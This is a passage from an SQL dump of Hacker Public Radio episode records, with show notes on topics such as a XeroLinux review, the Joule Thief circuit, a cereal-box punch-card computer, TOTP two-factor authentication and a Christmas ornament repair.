glossary</a></li>\n<li><a href=\"https://portforward.com/\">How To Forward a Port.</a>\n<ul>\n<li>A port forward is a way of making a computer on your home or\nbusiness network accessible to computers on the internet, even though\nthey are behind a router or firewall. It is commonly used in gaming,\nsecurity cameras, home automation, and the Internet of Things (IoT).\nPort forwards are setup in your router. A forwarded port is also known\nas open. After you have forwarded a port you have an open port.</li>\n</ul></li>\n<li><a\nhref=\"https://www.maketecheasier.com/best-dynamic-dns-providers\">List of\nDDNS solutions</a> (with no upfront cost to the user).</li>\n<li>Duck Duck Go Search for <a\nhref=\"https://duckduckgo.com/?q=dynamic+dns&amp;t=h_&amp;ia=web\">Dynamic\nDNS</a></li>\n</ul>\n',391,8,0,'CC-BY-SA','proxmox, virt-install, virtual machine, DDNS, laptop',0,0,1),
(3776,'2023-01-23','A linux distro review',572,'A linux distro review','<h2 id=\"xerolinux\">Xerolinux</h2>\n<p><a href=\"https://xerolinux.xyz\"\nclass=\"uri\">https://xerolinux.xyz</a></p>\n<p>I installed XeroLinux on an older I mac I had, mostly due to 2\nfactors,</p>\n<ol type=\"1\">\n<li>I had the hardware and</li>\n<li>A review I saw touted the MAC like interface from a modified KDE\nPlasma base.</li>\n</ol>\n<p>As a Plasma user, how could I resist.</p>\n<p>I had previously installed Fedora 36 on the MAC and was receiving\nrandom hardware issues at boot time, I wanted to see if the issue\npersisted on and Arch base, and since I had never used Arch, this was a\nperfect test case.</p>\n<p>The install:</p>\n<ul>\n<li>Power on the MAC and (if you have a MAC keyboard) press and hold the\nOption key. This presented me with 2 options, boot into fedora, or to\nthe EFI partition on my USB with XeroLinux installer.</li>\n<li>Select the EFI USB device</li>\n<li>I was then presented with 4 menu options, XeroLinux installer, REFI\nboot options, MAC OS and reboot</li>\n<li>I chose to boot into the Installer</li>\n<li>In the GUI installer I was first given the options to install\nseveral fixes for virtual environments including Qemu and VMWare as well\nas an install option</li>\n<li>Next I was greeting (literally with a welcome screen proclaiming\n&#x201C;Welcome Fellow Linux Nerds&#x201D; )</li>\n</ul>\n<p>I am at home...lol</p>\n<p>After selecting language, time zone and Keyboard layouts, The disk\npartitioning options are presented (and in much less confusing verbage\nthan Fedora) and you are given choice of what swap partition type to\nuse, No Swap, Swap no hibernate swap with hibernate and swap to file\nalso a choice of file system, xfs, btrfs of ext4. I chose xfs the\ndefault, and since this is just a toy, not a high availability/high\ncapacity server, there is no need for BTRFS, and if I am happy with the\nstate of the system, I may well use it as a media server or Plex server\nand in that case I&#x2019;ll need the larger file capacity of XFS Also\navailable are the file system encryption check box and a manual\npartition options</p>\n<p>Under the user account setup, it detected and offered to set the\nmachine name as MAcPro51, which is fine, it&#x2019;ll help me id the device on\nmy network, VS a unique name I would then have to come up with but would\ninevitably also contain &#x201C;MAC&#x201D; The page also included check boxes to\nvalidate password strength (forcing strong passwords, an auto-login\noption and an option to &#x201C;reuse user password as root password. Obviously\nfor SUDO purposes, this would not be recommended, but in my situation, I\ndid chose it and the strong passwords validation</p>\n<p>The next screen verifies all the selections and when next is clicked,\nA pop-up wants you to confirm again that you want to make the changes\nselected.</p>\n<p>(insert jeopardy music while the install happens)</p>\n<p>During the install, there is a button to observe what is actually\ngoing on in the background, partitioning, file copies, compiles,\netc<br />\nFirst boot and login<br />\nWell poop,I see a message in the boot screens referring to a hardware\nissue in CPU0 bank 8, there might be a hardware issue, it IS and older\nIntel MAC after all&#x2026;</p>\n<p>Step one is, as always, update the system</p>\n<p><em>Picture 1</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204014040.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204014040_thumbnail.jpg\"\nalt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p>Yes, that is a silhouette of the MST3K guys, I&#x2019;m using a 720 P TV as\nmy monitor and watch movies when I&#x2019;m in my home office. 121 packages are\nready fro update including Kernel 5.19.12</p>\n<p>(more jeopardy Music)</p>\n<p>next stop: install proprietary driver , open source drivers and\nnon-preinstalled apps All this went very smoothly, as though the distro\nmaintainers had put lots of work and thought into it. To say I&#x2019;m\nimpressed is an understatement so far.</p>\n<p>Also there&#x2019;s a handy dandy &#x201C;Post install system config button, let&#x2019;s\nsee what that does&#x2026;</p>\n<p><em>Picture 2</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203936415.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203936415_thumbnail.jpg\"\nalt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p>Man, all kinds of goodies to play with!!</p>\n<p>With such goodies as Yakuake, Avanti browser and KDE connect\npreinstaled, the only thing I really needed was a decent office suite,\nLibre office, of course&#x2026;</p>\n<p>The XeroLinux &#x201C;Hello&#x201D; app is quite a setup, offering all the tools\nyou need to get up and running. With an app browser very similar to\nDiscover, used by Fedora, finding LibreOffice was easy, tick a check\nbox, a few dependencies needed confirmation, click install and poof,\ndone.</p>\n<p>I was able to seamlessly browse the internet and watched a full\nlength Jackie Chan movie on Netflix with no issues or buffering,\nLibre-office Calc opened in about 5 seconds, only marginally slower than\nmy regular I7 desktop PC running Fedora 35.</p>\n<p>The hardware</p>\n<p>2010 MACPRO5.1 with dual Intel Xeon 12 core processors running at\n2.5Ghz and 32 GB ram and an ATI Radeon HD 5770 I bought the MAC at a\nlocal college surplus auction with no hard drive, and installed a 500GB\n&#x201C;spinning rust&#x201D; hard drive I happened to have laying around.</p>\n<p>As older hardware, it&#x2019;s still fairly quiet and crash free, so far.\nWith a modest up time of 5 days.</p>\n<p><em>Picture 3</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204109808.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_204109808_thumbnail.jpg\"\nalt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 4</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203954184.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3776/PXL_20230103_203954184_thumbnail.jpg\"\nalt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n',365,0,0,'CC-BY-SA','xero linux, distro review, linux distro, ',0,0,1),
(4046,'2024-02-05','HPR Community News for January 2024',0,'HPR Volunteers talk about shows released and comments posted in January 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3771,'2023-01-16','How I eliminated pain naturally',1186,'I describe how I managed to eliminate pain from carpal tunnel syndrome and osteoarthritis.','<p>Wikipedia articles used:<br />\n<a href=\"https://en.wikipedia.org/wiki/Hypoalgesia\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Hypoalgesia</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Interval_training\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Interval_training</a></p>\n<p>Transcript and accompanying photos can be found here by the date this\npodcast is released to the feed: <a href=\"https://pquirk.com\"\nclass=\"uri\">https://pquirk.com</a></p>\n<p>Wikipedia article on the Microsoft ergonomic keyboards:<br />\n<a href=\"https://en.wikipedia.org/wiki/Microsoft_ergonomic_keyboards\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Microsoft_ergonomic_keyboards</a></p>\n<p>Latest version of the Microsoft natural keyboard: <a\nhref=\"https://www.microsoft.com/en-us/d/microsoft-ergonomic-keyboard/93841ngdwr1h\"\nclass=\"uri\">https://www.microsoft.com/en-us/d/microsoft-ergonomic-keyboard/93841ngdwr1h</a></p>\n',383,0,0,'CC-BY-NC-SA','elliptical,ergonomics,pain,natural,Microsoft,Logitech,Elecom',0,0,1),
(3792,'2023-02-14','Learning to read music, part one',1404,'In which we learn to read music by going for a walk','<p>Although many people can create music easily enough on their\ncomputers, not as many can read the traditional stave-and-dots notation\nthat have been in use for hundreds of years.</p>\n<p>In less than half an hour, you can grasp the basics of reading music\nin a way that\'s as natural as putting one foot in front of the\nother.</p>\n<p>I\'d advise either printing out the handout from <a\nhref=\"https://enistello.info\" class=\"uri\">https://enistello.info</a> or\nhaving it on a screen you can see easily while outdoors. But it\'s not\nessential!</p>\n<p>Keep your eyes (and ears) peeled for part two of this series on\nHacker Public Radio, when I\'ll cover more complex rhythms and you\'ll\nlearn a lot more about pitch in written music.</p>\n<p>Handout and more information at:<br />\n<a href=\"https://enistello.info\"\nclass=\"uri\">https://enistello.info</a></p>\n<p>The book I mention in this episode is The Songlines, by Bruce\nChatwin, published in 1987, and available from all good bookshops. Don\'t\nbuy it from Amazon, it only encourages them.</p>\n',415,0,0,'CC-BY-SA','music,self-learning,auto-didactic',0,0,1),
(3772,'2023-01-17','Adventures with a small solar panel',1663,'I have a look at a cheap solar panel and learn a bit about how it works, and doesn\'t work.','<p>Solar panels are not like other sources of electricity that we are\nused to using, such as the mains or batteries. In this episode I recount\nwhat I have learned from playing with a small few-watt solar panel and\nhow to coax useful electricity out of it. Some multimeters were harmed\nin the making of this episode.</p>\n',268,0,0,'CC-BY-SA','solar,electricity,power,electronics',0,0,1),
(3781,'2023-01-30','The Joule Thief',791,'Using the Joule Thief to suck energy out of flat batteries','<p>The Joule Thief is a delightfully simple circuit that can light an\nLED that requires 2V or more from a battery that is depleted to 1V or\nless. There are three components in addition to the battery and LED: an\nNPN transistor, a resistor and a double wound inductor. The key thing\nabout the inductor is that the same core shares two windings but in\nopposite directions.</p>\n<p>The explanation of how it works is simple enough, as long as you\nalready understand how inductors and transistors work. In other words,\nit isn\'t simple at all! In short, the double wound inductor and\ntransistor conspire to generate a transient high voltage spike and so\nturn LED on and off so rapidly that the human eye cannot perceive\nit.</p>\n<p>The idea of such a circuit is approaching its centenary but the name\nitself is only around 20 years old. I recommend you check out <a\nhref=\"http://bigclive.com/joule.htm\">Big Clive\'s web site</a> as it was\nhe who came up with the name \"Joule Thief\". I also recommend <a\nhref=\"https://www.youtube.com/watch?v=K53beWYdIpc\">this video</a> in\nwhich he constructs a circuit using some ninja-level soldering\nskills.</p>\n',268,0,0,'CC-BY-SA','electronics',0,0,1),
(3785,'2023-02-03','Hacking Boba Bubble Tapioca Pearls Fail ',3321,'Hacking Boba Bubble Tapioca Pearls Fail ','<p>Listen to me cook / fail / hack Boba Green Tea!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Bubble_tea\">Wikipedia\'s\narticle on Bubble or Boba tea</a></li>\n</ul>\n',36,93,1,'CC-BY-SA','cooking,hacking,fail',0,0,1),
(3774,'2023-01-19','Emergency Show posted in 2014. Chump Car Report',1500,'The racing series for $500 cars.','<p>\n<em>From Wikipedia, the free encyclopedia</em><br />\nThe <b>Optima Batteries ChumpCar World Series</b> is a series of automotive endurance races held on paved road race courses across North America. The races range in length from 6 to 36 hours. The name is a parody of Champ Car, a defunct open wheel professional racing series. Races are sanctioned throughout the United States, as well as in Canada and Mexico. Teams are encouraged, but not required, to decorate their cars with themes.\n</p>\n\n<ul>\n<li><a href=\"http://www.freesound.org/\">http://www.freesound.org/</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf\">http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20131007174250/http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf\">http://chumpcar.com/downloads/2014-2016chumpcar-rules.pdf</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/downloads/chumpcar-rules.pdf\">http://chumpcar.com/downloads/chumpcar-rules.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20131209032918/http://www.chumpcar.com/downloads/chumpcar-rules.pdf\">http://chumpcar.com/downloads/chumpcar-rules.pdf</a>\n</li>\n<!-- <li><a href=\"http://chumpcar.com/register/results/89.pdf\">http://chumpcar.com/register/results/89.pdf</a> -->\n<li><a href=\"https://web.archive.org/web/20160324200039/https://www.chumpcar.com/register/results/89.pdf\">http://chumpcar.com/register/results/89.pdf</a>\n</li>\n<li>Charles please grade my math!: <a href=\"http://hackerpublicradio.org/eps.php?id=1353\">http://hackerpublicradio.org/eps.php?id=1353</a>\n</li>\n</ul>\n\n<p>\nI am using dimensional analysis. <br />\n(1.97 miles X 60 seconds X 60 minutes) / (110 seconds lap time X 1 minute X 1 hour) = 64.47 MPH for one lap.<br />\nnow it\'s your turn! A slower lap took 120 seconds - how fast was Jonny going?\n</p>\n\n<p>\n    <small><small><em>Editor\'s Note 2023-01-23</em>: All of the above chumpcar.com links seem to be dead. They have been replaced with links from the WayBack Machine (archive.org).</small></small>\n</p>\n',209,0,1,'CC-BY-SA','Racing, Chump Car World Series, MonsterB, Portland Oregon, sounds, boring',0,0,1),
(3775,'2023-01-20','Emergency Show posted in 2014. How to make a punch-card computer',850,'How to make a punch-card computer from stuff from the kitchen','\n<h2>How to make a punch-card computer</h2>\n\n<p>In this show we are going to make a punch-card computer out of stuff from your kitchen.</p>\n\n<p>Most of the materials are things you would otherwise have thrown away.</p>\n\n<h3>What you will need</h3>\n\n<ul>\n<li>An empty breakfast cereal box.</li>\n<li>Some bamboo barbecue skewers, eight for an eight bit computer, nine for a nine bit etc.  These things come in cheap packs of many skewers.  Or you could clean up used skewers.</li>\n<li>Scissors or a sharp craft knife.</li>\n<li>Some glue.  Preferably washable PVA glue if you care about your clothes or have a small child \'helping\'.</li>\n<li>Some pieces of card which you can write on, the number corresponds to the \'bit-ness\' of the computer.  If you used eight skewers, you need eight bits of card.  These need to be slightly narrower than the cereal box.  They could be made from other cereal boxes sliced up.  A height of about four inches, ten centimetres is good.</li>\n<li>An enquiring mind and temporarily suspended credulity.</li>\n</ul>\n\n<h2>What to do</h2>\n\n<h4>Step 1:</h4>\n\n<p>Prepare the case of the computer.</p>\n\n<p>Cut off the box flaps at the top where the cereal was poured out.</p>\n\n<p>The computer will eventually be used standing up in the usual position with the open end at the top.</p>\n\n<h4>Step 2:</h4>\n\n<p>Making a chute at the bottom.</p>\n\n<p>You need to make a sort of chute at the bottom so that stuff that falls down into the box will slide out the front.</p>\n\n<p>Do this by cutting a horizontal line across the width of the box about four or five inches, about eight centimetres from the bottom edge of the box.</p>\n\n<p>Now cut down the front edges of the box from the horizontal slit to the bottom.</p>\n\n<p>This will make a flap that you can fold down by putting your hand inside and pushing it out.</p>\n\n<p>Hinge it down and make a fold in this flap about half an inch (one centimetre) from the front edge of the flap.</p>\n\n<p>Coat the inside of the flap, above the fold, with glue.  Now push the flap back up and press the folded (gluey) portion of the flap against the inside of the back of the box.  You could use some sticky tape to hold it down while it dries.</p>\n\n<p>When the glue has dried you will be able to see how this now forms a chute at the bottom of the box.</p>\n\n<h4>Step 3:</h4>\n\n<p>Now draw a horizontal line across the front side of the box about an inch, or 2.5 centimetres from the open end.</p>\n\n<p>Now is the trickiest part because you will need to do some arithmetic.  Pity you don\'t have a computer, right?</p>\n\n<p>You need to measure out a number of points across this line which correspond to the bit-ness of your computer.  So if you are making an eight bit computer, you need eight marks spaced equally across this line, that\'s nine gaps across.</p>\n\n<p>When you have done this you are going to pierce holes in the box with either one of the BBQ skewers or something sharper.  You need for the skewers to pass right through the box and out the back side, in the same position as accurately as possible.  This might be easier if you draw and measure out the same points on the back panel and push holes through from both sides.</p>\n\n<p>Either way what you are aiming for is to make the path through the box as accurately level and equi-distant as possible.  The skewers should pass through the box and remain parallel.</p>\n\n<h4>Step 4:</h4>\n\n<p>We are now going to make the punched cards.</p>\n\n<p>Create the same number of cards as the bit-ness of your computer.  So an eight bit computer will require eight cards.</p>\n\n<p>The cards will be almost as wide as the inside of the box, and tall enough to write stuff on but not high enough to show their bottom edges through the chute hole at the bottom of the computer.  And not so tall that when they fall to the bottom they get wedged between the chute and the back wall of the computer.</p>\n\n<p>Laying each card flat on the table, draw a horizontal line across the card about\nthe same distance from its top edge as you drew the line into which you punched holes in the body of the computer.</p>\n\n<p>You will need to measure out the same number of holes across this as the holes across your computer.  Again accuracy is important if the computer is to work smoothly.</p>\n\n<p>Make each hole in the punched cards large enough that the skewers you used pass through the hole with no resistance.  A hand-held single hole punch is good for this.</p>\n\n<p>The holes need to line up when the stack of cards is held flat in a pack.</p>\n\n<h4>Step 5:</h4>\n\n<p>Programming your punched cards.</p>\n\n<p>Take each card in turn and change all but one of the holes into a slot from the holes to the top of the card.</p>\n\n<p>For example, for card one, in an eight bit computer, leave hole zero (left-most for little-endian) as it is and for holes 1 to 7 cut from each side of the hole to the top edge, removing the little bit of card.</p>\n\n<p>So when a card is done it will look a bit like a comb with one hole somewhere along the row, corresponding to which bit the card represents.</p>\n\n<p>For the next card cut all the holes except the one to the right of the last one.</p>\n\n<p>When you have done this and placed the cards in a stack, you will see that what you have is a stack of cards, each of which has 1 intact hole and bit-ness minus 1 slots.</p>\n\n<h4>Step 6:</h4>\n\n<p>Loading the program into your computer.</p>\n\n<p>Holding the cards together in a stack, feed them into the top of the computer, with the punches at the top closest to the open top end of the box.</p>\n\n<p>Holding the cards in place so that their holes line up with the holes in the box, push skewers through from the front of the box, through the corresponding holes and slots in the stack of cards.</p>\n\n<p>Now when you stand the computer up, what you have is a box containing a stack of punched cards, each of which is only held in place by one skewer.</p>\n\n<p>And if you cut the cards to be very close to the width of the box, the cards will sit straight without drooping down at one end.</p>\n\n<h4>Step 7:</h4>\n\n<p>Getting some data out of your computer.</p>\n\n<p>Before you loaded the cards into the computer, you wrote some data on them, right?</p>\n\n<p>If you have an eight bit computer and you have eight kids, you will never forget their birthday again.  Write the name and birthday of each child on a card and write their name above the skewer hole on the box, using the hole which corresponds to their card, the one with the intact (not a slot) in it.</p>\n\n<p>When you pull that skewer out, the corresponding card is no longer held in the box, and it drops down and slides out of the chute.  Pity it\'s not quite as much fun as getting nice crisp bank notes out of a cash-machine.</p>\n\n<p>Finally, take a magic-marker and write \'Windows Vista\' on the front of the box.  And it might be a good idea to snip off the sharp ends of the bamboo skewers before you put your eye out or damage a small child.</p>\n\n<h3>Troubleshooting</h3>\n\n<p>Problem: When I pull out a skewer, no card drops out.</p>\n\n<p>Possible causes:  There is too much friction between the cards or between the outer edges of the card and the sides of the box.  When you load the cards, try to spread them apart a bit.  And make the cards a few millimetres narrower than the box.  Or the holes and slots in the cards are too small and there is too much friction between the edges of a slot and a skewer.</p>\n\n<h3>Conclusion</h3>\n\n<p>This is a totally pointless activity and you need to get out more.</p>\n\n<p>I remember seeing this somewhere when I was a very small child.  Either in a book or on TV.  I think it may have been my slightly older brother who made it.  I have the vaguest recollection of a cereal box with some of my mum\'s knitting needles sticking out.</p>\n\n<p>If you used eight bamboo skewers, you are now the proud owner of an eight bit computer with eight bits of random access memory.</p>\n\n<p>A slight drawback is that each time you ask for output (pull out a skewer) the data bit you asked for is no longer inside the computer\'s memory.  So you will have to \'reboot\' every five minutes (sound familiar?).</p>\n\n<p>And because of the way it works, eight bits does not mean 256 different cards.</p>\n\n<p>But it\'s fun and a young kid will delight in pulling out a skewer to make a card drop out.  There is glue involved as well.</p>\n\n<p>Mike</p>\n',282,0,0,'CC-BY-SA','home-made computer, glue, fun, kids',0,0,1),
(3777,'2023-01-24','Running Haiku on Bhyve, the BSD Hypervisor',531,'Claudio talks about installing and running Haiku R1/beta4 on Bhyve','<ul>\n<li><p>Bhyve - The BSD Hypervisor<br />\n<a href=\"https://bhyve.org/\" class=\"uri\">https://bhyve.org/</a></p></li>\n<li><p>vm-bhyve - Management system for FreeBSD bhyve virtual\nmachines<br />\n<a href=\"https://github.com/churchers/vm-bhyve\"\nclass=\"uri\">https://github.com/churchers/vm-bhyve</a></p></li>\n<li><p>Haiku - Open-source OS inspired by BeOS<br />\n<a href=\"https://www.haiku-os.org/\"\nclass=\"uri\">https://www.haiku-os.org/</a></p></li>\n<li><p>UEFI Booting Haiku<br />\n<a href=\"https://www.haiku-os.org/guides/uefi_booting/\"\nclass=\"uri\">https://www.haiku-os.org/guides/uefi_booting/</a></p></li>\n</ul>\n',152,0,0,'CC-BY-SA','freebsd,haiku,beos,bhyve,vmbhyve,bsd,virtualization,hypervisor',0,0,1),
(3778,'2023-01-25','A Squirrel Beeing on Google Products and Google Security',1223,'I made a \'beeing\" podcast about Google products, interoperability and their lousy security','<p>I have a discussion about my Android \"WIPING\" and how it affected my\n2 factor authorization with Google. Further I \"beein\" some more about\nAndroid not being able to authenticate against a known chromebook using\nGOOGLE SECURITY, what a \"beeing\" , \"beeing\"!!!!</p>\n<p>And I also cover Google\'s lousy support for chromebooks through\nAndroid, not sharing bandwidth via the cell communication channels. I\ncover easytether and ask why Google hasn\'t given chromebooks the same\nbandwidth access any Android phone would have??? WHY???</p>\n<p>Google is so piggish and stupid that Android and chromebooks are\nalmost as if they were separate companies who are in competition with\neach other instead of two products from the same company.</p>\n<p>I also cover the overbearing Android growth via QR codes and programs\nlike healio.</p>\n',377,0,1,'CC-BY-SA','Android, chromebooks, easytether, cellphones, bandwidth,beeing,sucks, QRcodes, healio',0,0,1),
(3779,'2023-01-26','Just Because You Can Do a Thing... ',198,'Just because you can do a thing, does that mean you should?','<p>Hello Hacker Public Radio fans. This is Trey, and I am throwing this\nrecording together for several reasons:</p>\n<ol type=\"1\">\n<li><p>The queue of shows is abysmally sparse. There are far more\nopenings for shows in the next few weeks than there are shows\nposted.</p></li>\n<li><p>This show is a pitiful excuse for why I haven\'t posted any shows\nrecently</p></li>\n</ol>\n<p>If you like what you hear on Hacker Public Radio, please express your\ngratitude by recording your own show. It doesn\'t need to be long, or\nsound professional, or anything. Introduce yourself and share something\nyou find interesting.</p>\n<p>If you do not like any or all of what you hear on Hacker Public\nRadio, then it is the perfect opportunity for you to take a few minutes\nand record a short (or long) podcast of your own which \"fills the gap\"\nof what you might feel is needed on HPR.</p>\n<p>Alright. Enough preliminaries.</p>\n<p>A long time ago, at an undisclosed university far, far away, I took\nmy first class about Ethics. One of the things I remember most was the\nquestion of \"Just because you can do a thing, does that mean you should\ndo the thing?\"</p>\n<p>This was applied to many different scenarios - from nation states\nbuilding weapons of mass destruction, to authoring computer viruses, and\neven to saying what you are thinking at any given moment.</p>\n<p>It should quickly become obvious that you should not always do a\nthing simply because you can do it. And today, I would like to relate\nthat to DIY home improvement projects, especially as we work our way up\nin years.</p>\n<p>For regular listeners, you may recall my series \"Everything You\nAlways Wanted to Knox about PEX\" recorded and shared in May through July\nof 2022 (<a\nhref=\"http://hackerpublicradio.org/eps.php?id=3604\">hpr3604</a>, <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3614\">hpr3614</a>, <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3624\">hpr3624</a> &amp; <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3634\">hpr3634</a>). In\nthis series, I recounted the process of replumbing my home using PEX\nwith helpful advice for anyone else who wants to try it. What I did not\nrealize at the time I was doing the project was the toll that doing so\nmuch work overhead, by myself, was taking on my old shoulder joints. It\nwas only one straw, but a rather significant one, which eventually broke\nthe camel\'s back. Or, in my case, resulted in several severe tears in my\nrotator cuff and bicep tendon.</p>\n<p>Therapy was marginally effective, and surgery was eventually required\nto put things back together the way they belonged. My effort to save\nmoney and do the project myself \"Because I could\" helped lead to\nsignificantly more expenses and more than a year of recovery.</p>\n<p>I am not sharing this for sympathy, but rather because I learned\nsomething important. Now that I am getting older, as I decide which\nprojects I should do myself and which to pay professionals to do, it is\nimportant to factor in the potential impact on my body, my mind and\nthose around me, even if all goes well.</p>\n<p>Just because you can do a thing does not necessarily mean you should\ndo a thing.</p>\n<p>Unless that \"Thing\" is recording a podcast for HPR. THAT is something\nyou can and should do.</p>\n',394,0,0,'CC-BY-SA','aging, diy, health',0,0,1),
(3782,'2023-01-31','Content Format article from Wikipedia',300,'Wikipedia article on the various types of content formats','<p><a href=\"https://en.wikipedia.org/wiki/Content_format\"\ntitle=\"Wikipedia article discussing content formats\">Wikipedia\narticle</a></p>\n',318,0,0,'CC-BY-SA','media, formats, encoding',0,0,1),
(3784,'2023-02-02','Two factor authentication without a phone number',1107,'Diving into privacy-aware and offline methods to generate one time passwords','<p>Many services implement 2FA (Two factor authentication) by sending\nyou a OTP (One Time Password) using an SMS with a random code, but this\nforces you to give them your valuable phone number. What alternatives do\nexist?</p>\n<p>Let\'s dive into the <a\nhref=\"https://en.wikipedia.org/wiki/HMAC-based_one-time_password\">HOTP</a>,\nused by some banks years ago through a physical token and the recent <a\nhref=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">TOTP</a>,\nwhich both let you generate completely <em>offline</em> codes without\nusing any phone number or any other personal detail. They use the <a\nhref=\"https://en.wikipedia.org/wiki/HMAC\">HMAC</a> technique usually\nwith a SHA-1 one-way hashing function, but other hashing functions can\nbe used too.</p>\n<p>Useful links:</p>\n<ul>\n<li>a little visual explanation I found <a\nhref=\"https://www.onelogin.com/learn/otp-totp-hotp\">here</a></li>\n<li><a\nhref=\"https://f-droid.org/en/packages/com.beemdevelopment.aegis/\">Aegis</a>\nandroid OTP generator</li>\n<li>use TOTP in KeepassXC for a desktop generator <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide.html#_adding_totp_to_an_entry\">guide</a></li>\n</ul>\n<p>Let\'s keep <a\nhref=\"https://en.wikipedia.org/wiki/WebAuthn\">Webauthn</a> maybe for a\nfuture episode, I\'m still exploring it and have to do more research.</p>\n',407,74,0,'CC-BY-NC-SA','2FA, OTP, TOTP, HOTP, security',0,0,1),
(3787,'2023-02-07','It shouldn\'t crackle like that',584,'Rho`n describes fixing the wiring to a ceramic Christmas tree','\n <h1>Synopsis</h1>\n <p>The Friday before Christmas, my partner\'s mother called and asked if I had a short indoor extension cord she could borrow. When I arrived at her house, she showed me her display of ceramic Christmas trees for which she needed the extension cord. These decorations have two pieces. A base which holds a small light bulb, and then the tree which sits over the light and has translucent colored plastic \'Christmas lights\' which are illuminated by the light bulb inside the tree. There were four ceramic trees of varying heights&mdash;from 14\" (~36 cm) to 6\" (~15 cm) tall. While helping to arrange each of the trees electrical cords and plugging them into the extension cable, one of the trees wouldn\'t stay lit. If you turned the base or moved the cord it would light back up, but then go out once you took pressure off the cord. I could also hear crackling at times when moving the cord&mdash;not a sound you want to hear in an electric ornament.</p>\n <p>After separating the pieces and turning over the base, I could see not only the sparks, but why it was sparking. At some point, one of wires had come lose from the light socket and was taped back in place with what looks like duct tape. The ornament was made in the 1950s. I\'m not sure when the repair was made. It is an ornament that has been passed through the family over the years. The plastic which held the wire in place had failed over the years, and the tape was also failing from the electric sparks that would occur when the wire was moved around. You could see burn marks on the tape around the wire.</p>\n <p>At first I thought I may be able to fix the side with the bad wiring. Maybe solder the wire onto the socket to give it a good electrical connection, and then use electrical tape to cover the hole where the socket casing had failed, but in the process of taking the wire out and removing all the old duct tape, the socket\'s electrical contact fell apart. This was for the best, the whole socket needed replacing, but I wasn\'t sure I could find a replacement socket that would fit through the hole in the ceramic base.</p>\n <p>While doing my last minute Christmas shopping on Christmas Eve, I stopped at one of the big box hardware stores to browse the electrical section and see if I could find a replacement socket that might work. Of course I hadn\'t brought either the old socket or the light bulb, but I found a small rack with replacement sockets that looked like it might work. The candelabra style socket replacement looked like the correct size&mdash;for both the light bulb and the hole in the base of the ornament.</p>\n <p>Once I was home, I tested the fit of the light bulb, and the socket was the correct size. It was just a little to big for the hole in the base, but I was hoping I could just grind off some of the raised plastic lettering and maybe a little off the sides of the socket here and there to get it to fit in the base. I was leery of using my Dremel tool to make the hole bigger in the ceramic base. I didn\'t want it to crack or chip the finish. I ended up doing both. Grinding down some of the plastic on the replacement socket and grinding out the hole in the ceramic base.</p>\n <p>A bit of electrical tape wrapped around the new socket created a snug fit between the hole in the ornament\'s base and the socket. I then hot glued the socket to the inside of the base to provide extra stability. Next step was attaching the old cord to the new socket. The cord was in good shape except where it was connected to the old socket. I evened up the end of the cord, then stripped it, and then connected the cord to the new socket with wire nuts.</p>\n <p>After flipping over the base and screwing in the light bulb, I tested the repair. Success!</p>\n <style>\ndiv#figures {\n	display: flex;\n	flex-direction: row;\n	flex-wrap: wrap;\n	justify-content: center;\n}\ndiv#figures figure { text-align: center; width: 300px;\n    box-shadow:\n      0 1px 1px hsl(0deg 0% 0% / 0.075),\n      0 2px 2px hsl(0deg 0% 0% / 0.075),\n      0 4px 4px hsl(0deg 0% 0% / 0.075),\n      0 8px 8px hsl(0deg 0% 0% / 0.075),\n      0 16px 16px hsl(0deg 0% 0% / 0.075) }\ndiv#figures figcaption { max-width: 25vw; text-align: left; padding: 0 0.5em 0.5em 0.5em }\ndiv#figures img { max-width: 50vw; margin-bottom: 0.5em;\n    box-shadow:\n      0 1px 1px hsl(0deg 0% 0% / 0.075),\n      0 2px 2px hsl(0deg 0% 0% / 0.075),\n      0 4px 4px hsl(0deg 0% 0% / 0.075),\n      0 8px 8px hsl(0deg 0% 0% / 0.075),\n      0 16px 16px hsl(0deg 0% 0% / 0.075)}\n</style>\n <div id=\"figures\"><figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_01-lg.jpg\"><img alt=\"Top view of old light socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_01-sm.jpg\" /></a><br /><figcaption>Top view of old light socket</figcaption> </figure> <figure> <a href=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_02-lg.jpg\"><img alt=\"Side view of old light socket\" src=\"https://hackerpublicradio.org/eps/hpr3787/old_socket_02-sm.jpg\" /></a><br /><figcaption>Side view of old light socket showing extent of damage where the cord was attached.</figcaption> </figure> <figure> <a 